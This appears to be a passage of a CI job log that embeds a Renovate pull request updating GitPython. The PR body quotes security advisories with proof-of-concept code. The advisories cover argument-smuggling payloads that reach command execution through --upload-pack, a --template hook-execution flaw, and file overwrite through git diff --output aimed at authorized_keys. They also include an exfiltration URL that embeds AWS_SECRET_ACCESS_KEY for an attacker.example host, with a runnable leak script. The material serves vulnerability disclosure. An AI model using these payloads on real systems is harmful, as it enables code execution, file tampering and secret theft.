        long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split)
        are BLOCKED on HEAD \u2014 this is a distinct kwarg-value->separate-token
        vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nMake
        `_option_candidates` also emit candidates derived from single-character kwarg
        VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options`
        over the fully-transformed argv rather than the reconstructed name-only candidate
        list.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n####
        Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
        [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add()
        URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
        stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
        but it guarded only that one caller. `Remote.create()` \u2014 reached from
        the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
        passes an attacker-influenceable URL through `Git.polish_url()` with the default
        `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
        is expanded server-side to embed the hosting process's environment secret,
        written into `.git/config`, and then transmitted to the attacker's host on
        the next `fetch`/`pull`. This is the same primitive and same \"import repository
        from URL\" threat model the advisory describes, via the sibling caller the
        fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
        added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and
        used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
        The shared helper's dangerous default was left in place, and the other callers
        were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
        `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
        expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
        \   Git.check_unsafe_protocols(url)       # https:// carrying the secret passes\nrepo.git.remote(scmd,
        \"--\", name, url, **kwargs)   # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()`
        runs *after* expansion here, so it rejects an `ext::` payload but does nothing
        about an `https://` URL that carries an expanded secret in its path or host
        \u2014 the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
        (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
        file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
        Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed
        below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
        /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
        install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
        > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via
        Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
        os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\",
        git.__version__)\n\n##### Sentinel standing in for a process secret such as
        AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
        = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
        = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
        \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
        \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
        0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
        daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
        from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
        % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
        placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
        URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
        = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored
        remote URL     :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL
        in stored)\n\ntry:\n    remote.fetch()          # transmits the expanded URL
        to the attacker host\nexcept Exception:\n    pass                    # fetch
        fails after the request is already sent\n\nsrv.shutdown()\nover_network =
        any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\", [norm(p)
        for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
        SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
        into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
        \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
        \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
        /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
        listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
        3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
        remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
        in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
        over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted
        to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied
        URL is replaced with the environment value both in the stored `.git/config`
        URL and in the request that reaches the attacker-controlled host.\n\n#####
        Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching
        the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url,
        expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url
        = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()`
        default to `expand_vars=False` (env-var expansion on a URL is never desirable
        for network remotes) and require callers that genuinely normalize local paths
        to opt in.\n\n##### Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n#####
        Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`,
        `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote
        URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded
        into `.git/config` immediately and transmitted over the network (DNS + HTTP)
        on the next `fetch`/`pull`/`remote update`. This is the documented \"import
        repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 \u2014 CI servers,
        git-hosting mirrors, and dependency scanners \u2014 applied to the add-a-remote
        flow, which the clone-only fix did not cover. The same disclosure reaches
        `.gitmodules` (a committable file) via `Submodule.add()`.\n\n#### Severity\n-
        CVSS Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
        [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
        [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
        - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
        What's Changed\n\n- fix: prevent environment expansion in remote URLs by [@&#8203;Byron](https://redirect.github.com/Byron)
        in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
        [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
        - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
        What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
        in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
        Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
        At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
        defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
        manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
        conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
        Close this PR and you won't be reminded about these updates again.\n\n---\n\n
        - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
        box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
        View the [repository job log](https://developer.mend.io/github/osism/netbox-manager).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
      change_url: https://github.com/osism/netbox-manager/pull/288
      child_jobs: []
      commit_id: 88dcc4c93b231dc61d86ee4e7646206b92a07022
      event_id: 5f492d40-87ce-11f1-92a2-37223afbfbbd
      executor:
        hostname: 521e9411259a
        inventory_file: /var/lib/zuul/builds/197fa112929f4025ae0a196e51e02ba4/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/197fa112929f4025ae0a196e51e02ba4/work/logs
        result_data_file: /var/lib/zuul/builds/197fa112929f4025ae0a196e51e02ba4/work/results.json
        src_root: /var/lib/zuul/builds/197fa112929f4025ae0a196e51e02ba4/work/src
        work_root: /var/lib/zuul/builds/197fa112929f4025ae0a196e51e02ba4/work
      include_vars: []
      items:
      - branch: main
        change: '288'
        change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
          |\n\n---\n\n> [!WARNING]\n> Some dependencies could not be looked up. Check
          the [Dependency Dashboard](../issues/1) for more information.\n\n---\n\n###
          GitPython: Incomplete unsafe_git_clone_options denylist omits --template
          enabling arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
          denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
          into the new repository and runs them (`post-checkout` fires during clone),
          so a caller who can influence clone options can achieve arbitrary command
          execution in the default `allow_unsafe_options=False` configuration.\n\n#####
          Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
          \u2014 `--template` is absent. The guard candidate `['--template']` passes
          `check_unsafe_options` (verified). git copies the hook directory and executes
          `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
          do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
          Impact\nArbitrary OS command execution during clone (default config). Requires
          an attacker-readable directory containing an executable hook \u2014 a genuine
          second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
          or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
          Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
          +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
          post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
          Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x).
          Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
          Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
          Bypass proof: `--template` not on the denylist -> passes (verified candidate
          `['--template']`, no error).\n3. Sink: git copies the hook and executes
          `post-checkout` at checkout. Impact: ACE, default config (verified marker
          created).\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          guard candidate `['--template']` passed with no error; staged `post-checkout`
          hook executed during `clone_from`, creating the marker. Independent of the
          value-smuggle bypass (`--template` is a legitimate long option that survives
          any single-char-value fix). Not covered by any existing advisory.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `--template`
          (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Arbitrary file overwrite via git diff --output argument injection
          in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()`
          forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
          guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
          giving a broad surface. `git diff --output=<path>` writes real patch content
          to an attacker-chosen path, enabling arbitrary file overwrite.\n\n#####
          Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
          anywhere in the method (grep-confirmed). Additionally `diff.py:265` does
          `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE
          the `--` separator, so a value of `--output=/path` is parsed by git as an
          option \u2014 a value-only control path requiring no kwarg key.\n\n#####
          Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen
          path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real
          diff/patch bytes (attacker-influenced). Per the skill's rule, controlling
          WHICH file is overwritten = I:H regardless of content constraints.\n\n#####
          Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
          output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
          (105 bytes verified)\n\n##### Value-control (attacker controls only the
          ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')
          \         # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n#####
          Attack Chain\n1. Entry (value-control): `commit.diff(other=<user ref>)`
          with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none
          in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method
          body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree
          <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates
          the target then writes diff content. Impact: overwrite/corrupt any file
          at process privilege (attacker chooses the path). Verified argv and victim
          overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          both key-control (`output=`) and value-control (`other='--output=...'`)
          overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
          This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
          \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
          to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
          before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe git option guard bypass via single-character kwarg value
          token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
          guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened
          since) can be bypassed for **every** guarded method (`clone`/`clone_from`,
          `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`)
          by smuggling an option token inside the VALUE of a single-character kwarg.
          In the default `allow_unsafe_options=False` configuration this yields arbitrary
          command execution via `--upload-pack`.\n\n##### Root Cause\nThe guard builds
          its candidate option list from kwarg KEYS only: `_option_candidates([],
          {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']` (cmd.py:1042-1046 derives
          the candidate from the key, never the value). `-n` is not on the denylist,
          so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)`
          (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`.
          git then parses the second token as `--upload-pack` and executes the attacker-supplied
          command. The guard never inspects the value that becomes a separate argv
          token.\n\n##### Impact\nArbitrary OS command execution as the host process
          (via `--upload-pack`) in the default configuration, affecting all guarded
          methods since they all build candidates through the name-only `_option_candidates`.\n\n#####
          Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo,
          out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE
          created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write
          variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')`
          -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file
          truncated.\n\n##### Attack Chain\n1. Entry: app forwards a user-supplied
          options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`.
          Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)`
          at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})`
          -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified
          live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)`
          -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none
          (guard already passed on name-only candidate). Bypass proof: verified transform
          emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
          -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
          created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
          HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
          `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from
          with the payload created the marker file; the direct-name `upload_pack=`
          form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore
          key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option,
          GHSA-x2qx multi-before-split) are BLOCKED on HEAD \u2014 this is a distinct
          kwarg-value->separate-token vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
          Suggested Fix\nMake `_option_candidates` also emit candidates derived from
          single-character kwarg VALUES when `split_single_char_options` is in effect,
          OR run `check_unsafe_options` over the fully-transformed argv rather than
          the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)**
          \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 8.8 / 10
          (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via Repo.create_remote() /
          Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
          stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
          but it guarded only that one caller. `Remote.create()` \u2014 reached from
          the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
          passes an attacker-influenceable URL through `Git.polish_url()` with the
          default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
          is expanded server-side to embed the hosting process's environment secret,
          written into `.git/config`, and then transmitted to the attacker's host
          on the next `fetch`/`pull`. This is the same primitive and same \"import
          repository from URL\" threat model the advisory describes, via the sibling
          caller the fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
          added an `expand_vars` parameter to `Git.polish_url()` (default `True`)
          and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
          The shared helper's dangerous default was left in place, and the other callers
          were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
          `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
          expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)       # https:// carrying the secret
          passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded
          URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after*
          expansion here, so it rejects an `ext::` payload but does nothing about
          an `https://` URL that carries an expanded secret in its path or host \u2014
          the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
          (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
          file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
          Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53
          (installed below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
          /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
          install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
          > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration
          via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
          os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython
          version:\", git.__version__)\n\n##### Sentinel standing in for a process
          secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
          = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
          = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
          \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
          \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
          0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
          daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
          from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
          % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
          placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
          URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
